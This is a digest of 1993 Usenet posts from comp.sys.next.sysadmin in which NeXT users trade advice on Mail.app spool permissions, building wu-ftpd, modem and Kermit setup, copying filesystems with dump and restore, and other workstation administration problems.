Message-ID: <1993Apr23.063119.29698@csus.edu>
Sender: news@csus.edu
Organization: San Francisco State University
References: <1993Apr19.184354.15392@magnus.acs.ohio-state.edu> References: <1993Apr19.184354.15392@magnus.acs.ohio-state.edu>
Date: Fri, 23 Apr 1993 06:31:19 GMT
In article <1993Apr19.204827.5332@news.uta.edu> phil@news.uta.edu
(Patrick Phillips) writes:
> Version 3.0 will read
>mac disks, but complete ignores the resource fork of the file. This
>can be a very large problem depending on what you want to do with
>the hard disk after you connect it to your NeXT.
This is not correct. There are *three* parts to Mac files: the
resource and data parts, and the finder information. It's the
latter part that isn't accessible--the part that contains the
Macintosh file type and creator. Hopefully NeXT will support
a .#info# hack in some future release (hint, hint).
-=EPS=-
Newsgroups: comp.sys.next.sysadmin
From: bav@bergen.siodata.no (Bjorn Asle Valde)
Subject: Thanks! (was: Re: Fetching mail with mail.app)
Message-ID: <1993Apr23.095511.12796@alf.uib.no>
Sender: usenet@alf.uib.no (Bergen University Newsaccount)
Organization: University of Bergen, Norway
References: <1993Apr22.224447.1489@insight.com>
Date: Fri, 23 Apr 93 09:55:11 GMT
In article <1993Apr22.224447.1489@insight.com> ted@insight.com (Ted
Slupesky) writes:
> In article <1r6lrb$1id@hermes.athena.com> dpp@athena.com (David Pollak)
> writes:
> >
> > This is a NeXTMail bug. The /usr/spool/mail *DIRECTORY* must be world
> > read/write/execute.
> >
>
> But you can set the sticky bit, which helps.
Good suggestion. 1777 it shall be.
>
> --
> Ted Slupesky (ted@insight.com)
> Insight Software
Indeed, that's it.
Thanks to:
dpp@athena.com (David Pollak)
phil@news.uta.edu (Patrick Phillips)
Ted Slupesky (ted@insight.com)
Comming to think of it, I now remember that
I first saw this bug - repeat bug - a couple of years ago, which
means it must at least have been NXSTEP < 3. I even got help
from ask_next to sort it out, which means they know about it.
(Actually, it must have popped up a lot of times). An it's not
fixed... Sigh
So long, and thanks for all the fish
Mvh, -bav
--
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Email: valde@bergen.siodata.no Phones: +47-5-320240 Fax: +47-5-320238
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: Fetching mail with mail.app
Message-ID: <1993Apr21.235018.7184@seer.demon.co.uk>
Sender: paul@seer.demon.co.uk
Organization: P & L Systems
References: <1993Apr21.192950.29154@alf.uib.no>
Date: Wed, 21 Apr 1993 23:50:18 GMT
In article <1993Apr21.192950.29154@alf.uib.no> bav@bergen.siodata.no
(Bjorn Asle Valde) writes:
>
> I recently changed my mail-drop directory from on-local-disk
> to an nfs-mounted directory. mail is received locally ok, I
> can send out-going mail and the permissions/ownership on
> the files in /usr/spool/mail seems ok. I can read my mail
> with elm/mail/whatever, but Mail.app doesn't realize that
> new mail has arrived. Doing "Get new mail" changes nothing.
Mail needs to be able to write in /usr/spool/mail before it will read
mail. That is usually the problem.
Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 paull@cix.compulink.co.uk
Fax: (0494)680228 76711.451@compuserve.com
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From: jpowell@borg.lib.vt.edu (James Powell)
Subject: wu-ftpd-2.0
Message-ID: <1993Apr23.130159.13806@ecsvax.uncecs.edu>
Sender: usenet@ecsvax.uncecs.edu (News Administrator)
Organization: UNC Educational Computing Service
Date: Fri, 23 Apr 1993 13:01:59 GMT
Has anyone successfully built wu-ftpd-2.0 on a NeXT running 3.0? It
claims to build on such a system, but build nx3 fails. I can tell they
made an effort to support Nexts, and the build application seems to make
the links to the correct config and makefile, but then it still tries to
include files it shouldn't when it builds, plus it has some other problems
with headers it does find. I've tried to side step this build thing and
build it "by hand" but I'm stuck. So any help would be appreciated.
--
James Powell >>> Library Automation, University Libraries, VPI&SU
>>> JPOWELL@VTVM1.CC.VT.EDU
>>> jpowell@borg.lib.vt.edu - NeXTMail welcome here
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From: nevai@mps.ohio-state.edu (Paul Nevai)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware
Subject: How is the best to mount an OpticalDisk?
Date: 23 Apr 1993 13:57:07 GMT
Organization: Department of Mathematics, The Ohio State University
Sender: Paul Nevai
Distribution: world
Message-ID: <1r8sjj$93m@function.mps.ohio-state.edu>
Originator: nevai@ops.mps.ohio-state.edu
I always mount my OpticalDisk (/OD) via rlogin and use the "mount" command.
Can you tell me what is the best way to do it? here are two option; both
work. I am looking for the (close to the) BEST solution.
% mount
/dev/od0a on /OD type 4.3 \
(rw,hard,intr,timeout=20,retrans=8,rsize=4096,wsize=4096,noquota)
/dev/od0a on /OD type 4.3 (rw,noquota,removable)
Please respond by email. Thanks. Take care...Paul
Paul Nevai nevai@mps.ohio-state.edu
Dept Math - Ohio State University 1-614-292-3317 (Office)
Columbus, Ohio 43210-1174, U.S.A. 1-614-292-1479 (Math Dept Fax)
Newsgroups: comp.sys.next.sysadmin
From: Karl_Kraft@ensuing.com (Karl Kraft)
Subject: Re: Fetching mail with mail.app
Message-ID: <C5x4oK.1p4@ensuing.com>
Sender: karl@ensuing.com (Karl Kraft)
Organization: Ensuing Technologies Inc.
References: <1993Apr22.175412.7807@news.uta.edu>
Date: Fri, 23 Apr 1993 04:05:07 GMT
In article <1993Apr22.175412.7807@news.uta.edu> phil@news.uta.edu (Patrick
Phillips) writes:
>
>I just discovered this problem yesterday. Trying to tighten-up the
>security problems reported by cops, I changed the mode of
>/usr/spool/mail from 777 to 755.
The default permission on /usr/spool/mail is NOT 777 it is 1777. Changing the permission on /usr/spool/mail from 1777 to 777 will create a REAL security whole.
>To me this is stupid, it should just
>copy the mail out and zero out the file
One word: lockfile
Think about what would happen if mail was appeneded between the time you copied the information out, and then zero'ed out the file. You would trash mail and never know it had happened. Having mail copy and then zero the file would be a bad idea.
In order to be able to write the lock file, /usr/spool/mail needs to be writeable. Of course NeXT could have made Mail.app set-uid. That would be even less brilliant.
--
__________
Karl Kraft
karl@ensuing.com (NeXT mail)
Newsgroups: comp.sys.next.sysadmin
From: piak@sics.se (Per Kreuger)
Subject: NeXT CD-rom drive in a mac
Message-ID: <1993Apr23.151731.6036@sics.se>
Sender: news@sics.se
Organization: Swedish Institute of Computer Science, Kista
Date: Fri, 23 Apr 1993 15:17:31 GMT
Hi. I has anyone managed to get a Mac to mount a CD on a NeXT CD-rom drive?
--
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SICS, PO Box 1263, S-164 28 KISTA, Sweden Internet: piak@sics.se
Tel: +46 8 752 15 22 Ttx: 812 6154 7045 SICS Fax: +46 8 751 72 30
Newsgroups: comp.sys.next.sysadmin
From: sherwood@space.ualberta.ca (System Administrator)
Subject: Re: Mysterious loss of harddrive space
Message-ID: <1993Apr23.160127.18241@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <C5v6BK.9y2@news.cis.umn.edu>
Date: Fri, 23 Apr 1993 16:01:27 GMT
Benjamin Koo (benk@ie1next.me.umn.edu) wrote:
: Hello:
: My harddrive is being drained by certain process drastically. The
: disk space left is constantly shrinking/expanding. I checked all the user
: processes. There is one process that has been running using nroff for 600
: minunts. I checked the data file it generates, it is less than 10k. I
: also checked the /tmp directory. I could not find any temporary files
: that is being generated. Where can I check to find out the leakage of the
: HD space?
1. Sort creates files in /usr/tmp. If you run updatedb so that you can
use fast find this can gobble up space. (If you don't have enough free
space, sort dies, and leaves it's tmp files hanging around.)
2. Check /usr/spool/appkit. These are files heading for the printer. If
the machine dies they are never cleared.
3. Monitor the size of /private/vm/swapfile
Hope this helps.
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
Newsgroups: comp.sys.next.sysadmin
From: sherwood@space.ualberta.ca (System Administrator)
Subject: Re: Scan SCSI device after boot
Message-ID: <1993Apr23.170458.21784@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <1993Apr20.231231.5359@ads.com>
Date: Fri, 23 Apr 1993 17:04:58 GMT
Bill Vrotney (bvrotney@ADS.COM) wrote:
:
: What is the easiest way to have a NeXTstation recognize a SCSI device that
: is turned on AFTER the system is booted? Ie. it recognizes the device when
: the system is booted but if the device is turned off when system is booted
: it does not know about the device, and thus the problem is how to make it
: recognize the device AFTER the system has already been running.
:
With tapes and disks you can't. If its not there when the system is
booted, it's not there until it's rebooted.
We have a scanner that does something wonderful with the SCSI
termination, and it doesn't matter if its on or off. However, this is
not a device in the usual unix sense, and it's software writes directly
to the scsi bus instead of working through a device driver. This is
unusual. Often if you turn off a SCSI device, but leave it connected,
it would screw up the bus for any other activity.
It would be useful if Next had an program that would do this:
PauseSCSI
Hit any key to continue
The window manager would lock, keeping that window in forefront. You
could disconnect/reconnect stuff without worrying that a disk sync would
attempt to take place while you were removeing the terminator...
After you would hit any key, and the machine would carry on, and rescan
the SCSI bus for new/removed devices.
Note: You can remove a device this way by hitting command command ~,
doing surgery, then typing continue. But the status is not upgraded,
and the Next will complain if you try to access the missing device.
--
=> Sherwood Botsford sherwood@space.ualberta.ca <=
=> University of Alberta Lab Manager, Space Physics Group <=
=> tel:403 492-3713 fax: 403 492-4256 <=
From: rse8135@dewie.tamu.edu (R.S. Etheredge)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NeXT CD-ROM drive and a PC
Date: 23 Apr 1993 17:34:27 GMT
Organization: Texas A&M University, College Station, TX
Distribution: world
Message-ID: <1r99b3INNibl@tamsun.tamu.edu>
References: <1r33i1INN5e4@flop.ENGR.ORST.EDU>
Keywords: NeXT, CD-ROM, pc, SCSI
In article <1r33i1INN5e4@flop.ENGR.ORST.EDU> rhoadse@prism.CS.ORST.EDU (E.
Robert Rhoads) writes:
> What I was thinking of doing was taking a 386 PC slap
> an Adaptec SCSI card into it and load BSDI's BSD/386
> via the NeXT (SCSI) CD-ROM drive. This sounds good,
> but I don't know if it will work in practice.
Howdee Robert,
We are gonna do the same thing. The Sony CD-ROM is model number 541, and
Sony builds an interface kit for a model 541 CD-ROM drive. The problem with
this $90.00 solution is that Sony specs call for this drive to be an
internal drive. As you know, the drive you have on your NeXT is external.
Some of the local distributors have queried Sony concerning this for me,
and Sony engineer was to have called me and given me the straight skinny.
But, I don't think that there are any Sony engineers near this earth. That
notwithstanding, I am informed by many local distributors that the Adaptec
solution will suffice.
Be of good cheer, and have a happy day...
Rusty Etheredge
rse8135@dewie.tamu.edu
Newsgroups: comp.sys.next.sysadmin
From: root@azetsys.uucp (Operator)
Subject: MicroPhone-Pro lock-up SOLVED
Message-ID: <1993Apr23.175352.449@azetsys.uucp>
Organization: CleverLever
Date: Fri, 23 Apr 1993 17:53:52 GMT
Hi,
Finaly solved the riddle: why MicroPhone-Pro locks-up my NeXT?
The culprit was the "MIDI-LINK+" MIDI-interface, wich was connected to the
other serial port, once I removed it, everything worked fine, I was able
to log on to Compuserve download a file as a test via my Telebit2500 modem,
all this without reading a single line from the manuals, this attest to the
easy operability of the program.
I would like to thank all those who kindly responded to my plight
via e-mail, thank you all.
Geza.. azetsys!root@uunet.UU.NET
Newsgroups: comp.sys.next.sysadmin
From: irving@Happy-Man.com (Irving_Wolfe)
Subject: mh-6.8 for NextStep 3.0?
Message-ID: <1993Apr23.180959.4184@Happy-Man.com>
Organization: Happy Man Corp., Vashon Island, WA 98070-7399
Date: Fri, 23 Apr 1993 18:09:59 GMT
Can anyone direct me to a set of mh-6.8 binaries for NextStep 3.0
on 68040 hardware, or, better yet, to the proper config files?
I've been trying to do it myself and have gotten to the point of
reasonably clean compiles but the inc program dumped core, and this
sort of manual configuration is a little beyond me because I just
haven't done that much development work on the NeXT yet.
Thanks!
- Irving
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From: doug@foxtrot.ccmrc.ucsb.edu (Douglas Scott)
Newsgroups: comp.sys.next.sysadmin,comp.mail.sendmail
Subject: NeXT sendmail, NIS, and MX records?
Message-ID: <8331@ucsbcsl.ucsb.edu>
Date: 23 Apr 93 21:38:24 GMT
Sender: root@ucsbcsl.ucsb.edu
Followup-To: comp.sys.next.sysadmin
Organization: Center for Computer Music Research and Composition, U.C.S.B.
We have a network of five NeXTs and a Sparc, and the Sparc is the nameserver
for our subdomain.
I just got the following bounced mail (excerpt) from one of my NeXT users:
----- Transcript of session follows -----
421 Host magnus.ohio-state.edu not found for mailer ddn.
When I did an nslookup of this site's MX record, our nameserver returned with
no answer until I set the namserver to "root" (ns.nic.ddn.mil). Then there
was no trouble at all!
First of all, I dont understand why our local nameserver wouldnt search
on up to the root nameserver on its own when asked via nslookup. It does
this (I think) for plenty of other sites which have only MX records.
Should I assume this is the reason why this mail bounced, i.e., if nslookup
cannot find an MX record without being prodded into "root" server mode, should
I assume that sendmail will not be able to find it either?
Given that this site *does* have an MX record out there, how can I make sure
that sendmail can get to it?
Thanks.
--
Douglas Scott (805)893-8352
Center for Computer Music Research and Composition
University of California, Santa Barbara
Internet: (NeXTMail ok) <doug@foxtrot.ccmrc.ucsb.edu>
Newsgroups: comp.sys.next.sysadmin
From: dmm0t@rincewind.mech.Virginia.EDU (David Meyer)
Subject: Re: wu-ftpd-2.0
Message-ID: <C5yDJ5.5pE@murdoch.acc.Virginia.EDU>
Sender: usenet@murdoch.acc.Virginia.EDU
Organization: University of Virginia
References: <1993Apr23.130159.13806@ecsvax.uncecs.edu>
Date: Fri, 23 Apr 1993 20:13:52 GMT
In article <1993Apr23.130159.13806@ecsvax.uncecs.edu> jpowell@borg.lib.vt.edu
(James Powell) writes:
> Has anyone successfully built wu-ftpd-2.0 on a NeXT running 3.0? It
> claims to build on such a system, but build nx3 fails. I can tell they
> made an effort to support Nexts, and the build application seems to make
> the links to the correct config and makefile, but then it still tries to
> include files it shouldn't when it builds, plus it has some other problems
> with headers it does find. I've tried to side step this build thing and
> build it "by hand" but I'm stuck. So any help would be appreciated.
Yes, NeXT support is a little bit weak. I got a patch from someone who fixed
everything. There's an ftp site for it, but I don't remember where it is.
You can find this patch on my machine at
rincewind.mech.virginia.edu:/pub/next/wuftpd-patch.sh
It compiled just fine. If you want to use tar and compress, remember that you
have to have a copy of /usr/shlib/libsys_s.B.shlib in
~ftp/usr/shlib/libsys_s.B.shlib. (I just made a hard link, which is not quite
right from a permissions standpoint, but is 800K smaller than copying it.).
P.S. I'd like to thank, once again, the very kind person who originally sent
me this patch. I'd give you a plug, but I don't have access to the patch
right now.
Dave
--
David M. Meyer Mechanical & Aerospace Engineering
dmm0t@rincewind.mech.virginia.edu University of Virginia
NeXTmail ok
Newsgroups: comp.sys.next.sysadmin
From: rnf@world.std.com (richard n fell)
Subject: Can't get external to work as a boot drive
Message-ID: <C5yn3D.22t@world.std.com>
Organization: The World Public Access UNIX, Brookline, MA
First of all thanks to all who replied to my previous post about
Date: Fri, 23 Apr 1993 23:40:24 GMT
how to copy a complete file system from one external drive to another.
What I experienced is this. Using the gnutar commands, the file system,
except for some very long titled files, was copied. Now, I want to boot
off of the new drive. With the original external as target 1, the second
external is target 2. So, in the rom monitor, I issue the command
bsd(2,0,0) -a (Just as I usually do when I only have the original external
mounted, with the 2 replaced by 1). The operating system will reply with
root device? I enter sd2a. Unfortunately, the boot process would hang up.
So, I managed to borrow a CD driver and re-installed 3.0 from the
CD disc onto the new external. However, the system will still not boot
from the external. I go through the same procedure as before (now with
only the new external and the recently installed 3.0 connected) specify
sd1a, etc and the boot hangs up at the point:
Mounting remote file systems (or some such thing).
Does anyone have any idea where I went wrong? I can still boot off
of the original external but not the new one. Do I have to do a build
disk? Of course, re-installing might imply that 3.0 was installed
correctly in the first place and perhaps what I may have to do is do a
complete installation using the installer app on the CD disc.
Any help is greatly appreciated. This is just a bit frustrating.
Thanks
From: izumi@pinoko.berkeley.edu (Izumi Ohzawa)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: wu-ftpd-2.0
Date: 24 Apr 1993 00:05:09 GMT
Organization: University of California, Berkeley
Distribution: world
Message-ID: <1ra07l$774@agate.berkeley.edu>
References: <1993Apr23.130159.13806@ecsvax.uncecs.edu>
In article <1993Apr23.130159.13806@ecsvax.uncecs.edu> jpowell@borg.lib.vt.edu (James Powell)
writes:
>Has anyone successfully built wu-ftpd-2.0 on a NeXT running 3.0? It
>
Are you referring to the error compiler not finding malloc.h file?
I had to do in directory /usr/include/bsd,
ln -s sys/malloc.h malloc.h
After that, it successfully compiled.
--
Izumi Ohzawa [ $@Bg_78^=;(J ]
USMail: University of California, 360 Minor Hall, Berkeley, CA 94720
Telephone: (510) 642-6440 Fax: (510) 642-3323
Internet: izumi@pinoko.berkeley.edu (NeXTMail OK)
From: zmonster@athena.mit.edu (Eric M Hermanson)
Newsgroups: comp.sys.next.sysadmin
Subject: Configuring SUPRA Fax modem to fastest data possible
Date: 24 Apr 1993 02:09:23 GMT
Organization: Massachusetts Institute of Technology
Distribution: world
Message-ID: <1ra7gjINNqit@senator-bedfellow.MIT.EDU>
I am trying to configure my v32.bis, v42.bis SUPRA fax modem to transfer
data as fast as possible. However, it is taking on the order of 30 min to
transfer half a meg of data, and this seems slow since the modem on the other
end also handles v32.bis and v42.bis.
I am using kermit as the transfer protocol.
Can someone tell me what lines I need to add to either /etc/remote, /etc/ttys,
and .kermrc to get up to 57600 baud with compression?
Lastly, someone told me that the NeXT serial port is only 19200 baud. Is this
true? If so, then is the 57,600 baud possible?
Thanks,
Eric
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From: tlm@iastate.edu (Tom Marchioro)
Subject: Re: Configuring SUPRA Fax modem to fastest data possible
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Date: Sat, 24 Apr 1993 04:13:48 GMT
In <1ra7gjINNqit@senator-bedfellow.MIT.EDU> zmonster@athena.mit.edu (Eric M Hermanson) writes:
>I am trying to configure my v32.bis, v42.bis SUPRA fax modem to transfer
>data as fast as possible. However, it is taking on the order of 30 min to
>transfer half a meg of data, and this seems slow since the modem on the other
>end also handles v32.bis and v42.bis.
Well, the supra has a very nice little digital readout that tells you what
speed and compression are going at the moment. If you see 14.4 and then LP
and then CD then that's the best you are going to do in terms of modem to
modem connectivity.
>I am using kermit as the transfer protocol.
And as well all know that basically explains everything!! :) :)
Kermit is *extremely* slow, particularly if the packet size is too
small. I gave up on it completely and went to tip for a while, which was
better, and now use SLIP, which is the best of all (particularly wiht
SLIPcommander, which does backup for me, synchronizes my clock, fetches the
mail, etc.). In SLIP at 14.4 a half Mb transfer will take a couple minutes
tops.
>Can someone tell me what lines I need to add to either /etc/remote, /etc/ttys,
>and .kermrc to get up to 57600 baud with compression?
>Lastly, someone told me that the NeXT serial port is only 19200 baud. Is this
>true? If so, then is the 57,600 baud possible?
It depends on which machine you have. If you have a 25 MHz slab then the
serial port is only 38400 (grumble grumble....) and you cannot make full use
of 14.4 V32bis (but remember, if you are transferring stuff that's already
compress, i.e. .Z files, the additional compression characteristics of the
modem don't help, you just get the 14.4). You have to add a line to
the /etc/gettytab file to get the port to run at 38.4. The line is
h|std.38400|38400-baud:\
:sp#38400:
or some variation thereof. This is needed because the maximum given in the
distributed OS is only 19.4. I also have the line
ttyda "/usr/etc/getty D38400" unknown off
in my /etc/ttys file. It's beena while since I worked through all of
this, but I believe those are the only changes you need (no doubt someone
will correct me if I'm wrong :) On a Turbo machine the port does run at
57.6 and you need to modify the above lines accordingly. So...it may be
that you're only getting 19.4 on your throughput, but if you are transferring
already compressed files that is not goin to slow you down in the slightest;
instead, it's Kermit that makes things so slow. Switch to SLIP (my
recommendation) or else go to tip and use zmodem etc. which Michal Tomczak-
Jaegermann (sorry if I mis-spelled it Michal :) has been nice enough to
maintain for the NeXT.
Hope this Helps --- Tom
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From: mark@xexos.com (Mark Chamberlain)
Subject: Re: Attaching NeXTStation to ethernet
Message-ID: <1993Apr21.213940.5219@xexos.com>
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Date: Wed, 21 Apr 1993 21:39:40 GMT
In article <1993Apr21.134233.920@afs.com> jon@afs.com writes:
>
> My school has two lonely NeXTstation which, after almost two years,
> have yet to be attached to the internet.
>
> This school year, they finally got some cable to them, but they
> have not been set up to use the network yet.
>
> When booting, they say they cannot find the name server, and boot up without
> a network connection. There is no netinfo server. These are the only two
> NeXT's on campus.
>
> What exactly would I have to do to get them on the net? My guess is that I
> will have to edit hostconfig, giving the machines a hostname and/or address.
Yeah, or configure them for NIS which you might be running somewhere on the
net. Easiest way is to assign them an IP address "manually" and edit the
hostconfig files, or just run NetManager (or HostManager if its 3.0).
--
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From: mark@xexos.com (Mark Chamberlain)
Subject: Re: Fetching mail with mail.app
Message-ID: <1993Apr21.214156.5291@xexos.com>
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Date: Wed, 21 Apr 1993 21:41:56 GMT
In article <1993Apr21.192950.29154@alf.uib.no> bav@bergen.siodata.no (Bjorn
Asle Valde) writes:
>
> I recently changed my mail-drop directory from on-local-disk
> to an nfs-mounted directory. mail is received locally ok, I
> can send out-going mail and the permissions/ownership on
> the files in /usr/spool/mail seems ok.
Most common cause is that your Mail.app preferences no longer point to the new
mount point where mail is storied. If the NFS directory is mounted on
/usr/spool/mail, then just verify your Expert preferences in Mail.app and all
should go - if it doesn't, then I'm puzzled too. Permissioning is the usual
source but if elm etc work...
Otherwise, in Expert Preferences, set the correct value for SpoolDir, which
should point to /Net/whateverhost/usr/spool/mail
--
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Xexos Ltd fax +44 71 231 0844
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From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: Fetching mail with mail.app
Message-ID: <1993Apr23.095308.11018@seer.demon.co.uk>
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References: <1993Apr21.214156.5291@xexos.com>
Date: Fri, 23 Apr 1993 09:53:08 GMT
In article <1993Apr21.214156.5291@xexos.com> mark@xexos.com (Mark
Chamberlain) writes:
> In article <1993Apr21.192950.29154@alf.uib.no> bav@bergen.siodata.no
(Bjorn
> Asle Valde) writes:
> >
> > I recently changed my mail-drop directory from on-local-disk
> > to an nfs-mounted directory. mail is received locally ok, I
> > can send out-going mail and the permissions/ownership on
> > the files in /usr/spool/mail seems ok.
>
> Most common cause is that your Mail.app preferences no longer point to
the new
> mount point where mail is storied. If the NFS directory is mounted on
> /usr/spool/mail, then just verify your Expert preferences in Mail.app
and all
> should go - if it doesn't, then I'm puzzled too. Permissioning is the
usual
> source but if elm etc work...
>
> Otherwise, in Expert Preferences, set the correct value for SpoolDir,
which
> should point to /Net/whateverhost/usr/spool/mail
No, it is the permission on /usr/spool/mail, because of the quirk in
Mail.app. Write permision is required. Setting the spool directory to
/Net/mailhost/usr/spool/mail is a nasty kludge to get around this problem.
Paul
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From: lytras@avalon.physik.unizh.ch (Apostolos Lytras)
Subject: Re: Configuring SUPRA Fax modem to fastest data possible
Message-ID: <1993Apr24.092105.24200@ifi.unizh.ch>
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Date: Sat, 24 Apr 1993 09:21:05 GMT
In article <tlm.735624828@scl1.al.iastate.edu> tlm@iastate.edu (Tom Marchioro) writes:
=> In <1ra7gjINNqit@senator-bedfellow.MIT.EDU> zmonster@athena.mit.edu (Eric M Hermanson) writes:
=> >I am using kermit as the transfer protocol.
=> And as well all know that basically explains everything!! :) :)
=> Kermit is *extremely* slow, particularly if the packet size is too
=> small. I gave up on it completely and went to tip for a while, which was
=> better, and now use SLIP, which is the best of all (particularly wiht
=> SLIPcommander, which does backup for me, synchronizes my clock, fetches the
=> mail, etc.). In SLIP at 14.4 a half Mb transfer will take a couple minutes
=> tops.
=> [...lots of useful comments deleted...]
=> instead, it's Kermit that makes things so slow. Switch to SLIP (my
=> recommendation) or else go to tip and use zmodem etc. which Michal Tomczak-
=> Jaegermann (sorry if I mis-spelled it Michal :) has been nice enough to
=> maintain for the NeXT.
I absolutely agree that SLIP (or CSLIP or PPP) is superior to tip and kermit,
but I feel that you're not right about kermit. I chose kermit, because I
couldn't get a SLIP connection on our local network (no free IP addresses),
and I find it more useful and no worse than tip. There are a few
things to consider, though. First, you have to increase the packet size,
which will speed things up considerably in normal transfers (get a version
of kermit that supports real 'big' packet sizes).
Then, you best install a recent version of Z-Modem (sz/rz) and add the
following lines to .kermrc.
define sz !sz -w 8192 -r \%1 \%2 \%3 \%4 \%5 \%6 \%7 \%8 \%9 <\v(line) >\v(line)
define rz !rz <\v(line) >\v(line)
This will let you use sz/rz to transfer files from within kermit, which is
probably no slower than 'tip' by then _AND_ is more useful (e.g. if you
encounter a 'hanging' rlogin session you can abort it with ~. which in tip
would break your connection).
Hope this _helps_.
- A.
PS: My version of Kermit is 'C-Kermit 5A(182) BETA-4, 4 Jul 92, NeXT', get
this or a newer version. Special thanks go to Daniel Kluge who initially
showed me how to use Z-Modem in Kermit.
--
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From: M_Carling@BlueRose.com (M Carling)
Subject: Re: Harddisk problems (originally: Mysterious loss of harddrive space)
Message-ID: <1993Apr23.215405.8795@bluerose.com>
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Date: Fri, 23 Apr 1993 21:54:05 GMT
In article <C5wJMH.FKC@news2.cis.umn.edu> benk@ie1next.me.umn.edu
(Benjamin Koo) writes:
> Hello:
> Thanks for all who had replied to me. I found that the problem is
> not private/vm/swapfile nor /tmp files. The problem remains. My HD
space
> is down from 105 to 85, 65, and 59MB. I doubt that might be a hardware
> problem. Is there any other suggestions.
Get and run DarkForest.app. I can NeXTmail you a copy if needed.
M Carling
President, Bay Area NeXT Group
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From: serge@dadofsam.Princeton.EDU
Subject: Re: copying file system from one external to another external
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Date: Fri, 23 Apr 1993 20:39:05 GMT
In article <C5wn8H.Fp7@world.std.com> rnf@world.std.com (richard n fell)
writes:
> I wish to copy the entire file system from my current external drive
> to a new external drive. The current external includes 3.0 and all my
> apps. I am not sure what unix commands to use to do this most
> efficiently.
> I can use tar -cf - . | (cd /Destination subdirectory; tar
> -xpf - ). The problem with this is that each directory in the root
> system must be copied separately. Also, this command does not preserve
> ownerships. I would like the copy on the new external to preserve the
> current owenerships and permissions. In addition, when I applied the
> above to /dev, none of the files were copied.
> Is there some other way of doing this so that the entire file
> system, as it exist on the original drive, can be copied to the new
> external?
I sent a reply via mail, then realized this might be of more general interest.
The most common way to do this is with the "dump" and "restore" commands.
These commands will retain file ownerships, permissions, etc. In the above
case, assuming you want to copy the root file system, you would do the
following:
dump 0sf 999999 - / | (cd /Destimation; restore xf -)
The "0sf" keys to dump tell it to take a level 0 (complete) dump of the "/"
filesystem, and write it out to file "-", or standard out. The "999999"
argument is a dummy file size which tells dump that it doesn't need to worry
about prompting the user to mount multiple dump "tapes" (what dump was
originally designed to dump to). The dump output is then piped to a "restore"
command, whose key arguments (xf) tell it to restore from "-", or standard
input. Note that, before doing this, you should run a newfs command on the
TARGET file system to make sure it is clean (e.g., newfs /dev/rsd1a ... be REAL
careful not to run this command on your source file system ... do a "df -t 4.3"
to be sure you know exactly what devices hold which filesystems BEFORE you run
the newfs command ... you should unmount the /Destination file system before
running newfs on it, and remount it after newfs has completed). The restore
will complain about a "lost+found" directory, but that can be ignored.
Serge J. Goldstein
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From: gerben@rna.indiv.nluug.nl
Subject: SOLUTION (partly): NeXT WP files with graphics to PC WP 5.1
Message-ID: <1993Apr24.100815.11754@rna.indiv.nluug.nl>
Sender: gerben@rna.indiv.nluug.nl (Gerben Wierda)
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Date: Sat, 24 Apr 1993 10:08:15 GMT
I know what causes the problem: WP 5.1 on the PC cannot handle more that 8 bit
TIFFs. NeXT produces 24 bit TIFFs.
All I need now is a way to convert. It seems there is a file called
graphics/tiff.tar.Z on uunet.uu.net, but I haven't been able to contact that
site from my mail-server (which uses ftp).
So, does anybody know the esaiest way to create 8 bit TIFFs from 24 bit TIFFs?
--
Gerben Wierda [NeRD:7539] Tel. (+31) 35 833539
"If you don't know where you are going, any road will
take you there." From the Talmud(?), rephrased in
Lewis Carroll, "Alice in Wonderland".
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From: jladwig@soils.umn.edu (John Ladwig)
Subject: Re: wu-ftpd-2.0
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References: <1993Apr23.130159.13806@ecsvax.uncecs.edu>
Date: Sat, 24 Apr 1993 11:57:53 GMT
In <1993Apr23.130159.13806@ecsvax.uncecs.edu> jpowell@borg.lib.vt.edu (James Powell) writes:
>Has anyone successfully built wu-ftpd-2.0 on a NeXT running 3.0?
There has been an existing closed beta test program going for the version
2 wu-ftpd since early March. I am working on the port to NS 2.1, Micheal
Kuch from uni-tuebingen in Germany is working on NS 3.0.
wu-ftpd-2.0 was a forced release due to the spectacular security hole in
anon ftp installations, and was not a completely finished. There have
been two closed releases since then, and the NeXT support has gottn *much*
better. Micheal and I have a combined set of patches which produce clean
compiles for us under the native cc, and I have verified that gcc-2.3.3
can be used to complie the current beta version, provided you fix a
prototype conflict in <libc.h>.
I'm sure there will be a general announcement when the code is pronounced
release-ready.
Sorry for the trouble you're having right now.
-jml
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Subject: Re: Remote Window Server ?
Message-ID: <SCOTT.93Apr23235328@nic.gac.edu>
From: scott@nic.gac.edu (Scott Hess)
Date: 23 Apr 93 23:53:28
References: <1r7mkq$3h5@usenet.INS.CWRU.Edu>
Organization: Is a sign of weakness
In-reply-to: pda@po.CWRU.Edu's message of 23 Apr 1993 03:09:14 GMT
In article <1r7mkq$3h5@usenet.INS.CWRU.Edu>,
pda@po.CWRU.Edu (Patrick D. Amon) writes:
>For a while, I have been using an ND as a front end to a station.
>All that involved was merely to run whichever apps I was willing to
>redirect with -NXHost . Please don't laugh !
>
>But there is one application I can't seem to figure out how to
>redirect: the window server itself . I naively tried running it
>with the option, and all it left me with was 2 half-crashed machines.
>So I gather I'm not doing it the right way. Could anyone help me ?i
Rather than redirect the windowserver ... you _can_ redirect the
Workspace. At least under NS2.0 you could. You do something like:
/usr/lib/NextStep/Workspace.app/Workspace -NXHost MyHost -AppDockOffsetX " -64"
-AppDockOffsetX " -64" is to offset the new dock so that it's next
to the current one instead of on top of it. [I said " -64" because
if you do -64, it'll try to interpret -64 as an option, which isn't
what you want!]
Later,
--
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12901 Upton Avenue South, #326 Burnsville, MN 55337 (612) 895-1208 Anytime!
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From: aboba@netcom.com (Bernard Aboba)
Subject: INN install
Message-ID: <abobaC601BK.GMw@netcom.com>
Organization: NETCOM On-line Communication Services (408 241-9760 guest)
